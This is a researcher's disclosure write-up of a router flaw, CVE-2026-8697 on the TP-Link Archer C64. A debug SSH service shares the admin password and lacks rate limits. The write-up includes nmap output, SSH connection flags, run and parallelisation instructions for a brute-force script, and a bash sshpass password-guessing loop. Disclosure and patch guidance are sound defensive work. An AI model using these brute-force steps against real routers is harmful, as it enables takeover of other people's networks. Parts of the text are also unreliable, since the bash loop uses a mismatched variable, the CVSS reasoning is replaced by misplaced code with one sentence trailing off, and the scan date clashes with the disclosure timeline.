CVE-2026-8697 is a logic flaw in the TP-Link Archer C64’s OS (called TPOS in the debug message). It lets any unprivileged user connected to the router to bypass the web UI rate limit by using a residual SSH service. A simple Python script can be used to try out many passwords in a short amount of time and obtain full admin access on the router.
POC: poc.py
The router has a debug SSH service which does not grant a shell to the router, rather it just exits when the correct password has been entered. But it uses the same password as the admin interface and has neither rate limits nor lockout policies. As such, it can be used as a high-speed authentication oracle to brute-force the password. This vulnerability can be used by malicious or compromised IoT devices on the network to gain full admin access to the router. An attacker cannot gain shell access through this interface, but they can easily verify credentials to compromise the primary web management interface.
This vulnerability has been patched in firmware version 1.15.0, which simply removes the service. To test your router, use this command (Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
Replace the IP address with the address you use to connect to the router’s web
interface. If the output is 0 or it shows succeeded! then your router is
vulnerable. Otherwise, it is not.
In Windows, run the following in PowerShell:
tnc 192.168.0.1 -Port 22
If it shows TcpTestSucceeded : True then your router is vulnerable. Otherwise
if it hangs indefinitely or shows it as False then it is not vulnerable.
The bug is entirely logic-based and does not require memory corruption, ASLR bypass or winning race conditions.
At the time, I was learning Nmap and for fun decided to scan my router. At that time I was not looking for vulnerabilities but I noticed an open SSH service.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
The log above shows an SSH service running OpenSSH 6.6.0 (a legacy version from
2014, but the version does not matter for this). Seeing the very old version, I
suspected that it could be used by an attacker and tried to SSH into it with the
intention of getting a shell and updating the firmware. At that point I was
trying to secure my router, not to find vulnerabilities. However, connecting to
it presented an interesting problem: the host key and public key algorithms
were not supported on my version of OpenSSH. Using -o also did not work in my
system, so I had to use a debian:bullseye-slim container which has an OpenSSH
client supporting the diffie-hellman-group14-sha1 and ssh-dss algorithms.
Inside the container, after installing the OpenSSH client, I was able to connect to the SSH server.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss root@192.168.0.1
I used this and was finally able to connect to the SSH server, which greeted me
with the message TPOS 5 IPSSH Test and a password prompt. However, after
entering the password, the connection just closed immediately. I even tried
directly running a command but it did not run the command. I realized that there
was no shell, so an attacker could not get access to my router. So my router is
safe, right? Well, not really. I realized that even though you did not get any
access, you did get to know if your password was correct or not. And that
password was the same as the web interface password, and there were absolutely
no rate limits or anything to stop a brute-force attack. That is when the idea
of turning this into a CVE came to me. I tried to automate the attack. First I
tried using sshpass in a bash loop but you could not use multiple passwords
per connection, so I tried making a Python script. That is the attached POC.
To use the POC, first create a venv and install pexpect. Note that the
script does not use Pexpect’s pxssh module since it does not support trying
multiple passwords in a single connection.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
Save the script to poc.py and run it. You can optionally pass in a path to a
newline-separated password list as the first argument. If you don’t, it will use
the numbers from 1 to 100 as passwords (for speed testing).
python3 poc.py list.txt
You can parallelize the attack by running multiple instances with different lists. If you run more than 3 instances, you will start to see connection errors. The script still makes sure all the passwords are tried.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
An attacker can use a malicious or compromised IoT device on the network to brute-force the password and gain admin access to the admin interface. There is no indication to the user that this is happening, and the attacker can do this for a long time without being detected. Once the attacker has access to the admin interface, they can change the DNS settings to perform DNS hijacking, change the Wi-Fi password to lock out users, use static routing to intercept unencrypted traffic or block network access by routing to a nonexistent IP, forward ports, turn off the firewall/ALG and more.
The CVSS 4.0 attack vector for this vulnerability is:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
, which resolves to a score of 9.3 Critical. My reasoning for each metric is as follows:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 root@192.168.0.1
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(note that this is slower than the POC script since it does not try multiple passwords per connection)
AV:A.The vendor (TP-Link) published this vulnerability with a score of 8.7 (High)
with the vector:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
However, this research argues that the Subsequent System Impact should not be rated as “None.” Because the router acts as the primary gateway for all connected devices:
Therefore, a more accurate representation of the risk to the home network is 9.3/Critical as discussed above.
Updating the router’s firmware to 1.15.0 Build 250729 or later will fix this.
| Date | Event |
|---|---|
| 2026-02-26 | Vulnerability reported to TP-Link Product Security Team |
| 2026-03-03 | Initial acknowledgement received |
| 2026-03-14 | TP-Link confirms they are in the phase of verification and remediation |
| 2026-04-22 | TP-Link says the vulnerability has been fixed in firmware version 1.15.0, but the firmware is not publicly available yet |
| 2026-04-24 | Firmware is publicly available |
| 2026-04-26 | Patch confirmed and CVE ID requested |
| 2026-05-15 | 90 day deadline reminder sent to TP-Link |
| 2026-05-15 | CVE ID reserved |
| 2026-05-29 | Public disclosure |
| 2026-05-29 | Writeup published (this document) |
This vulnerability was discovered and reported by Tanjim Kamal.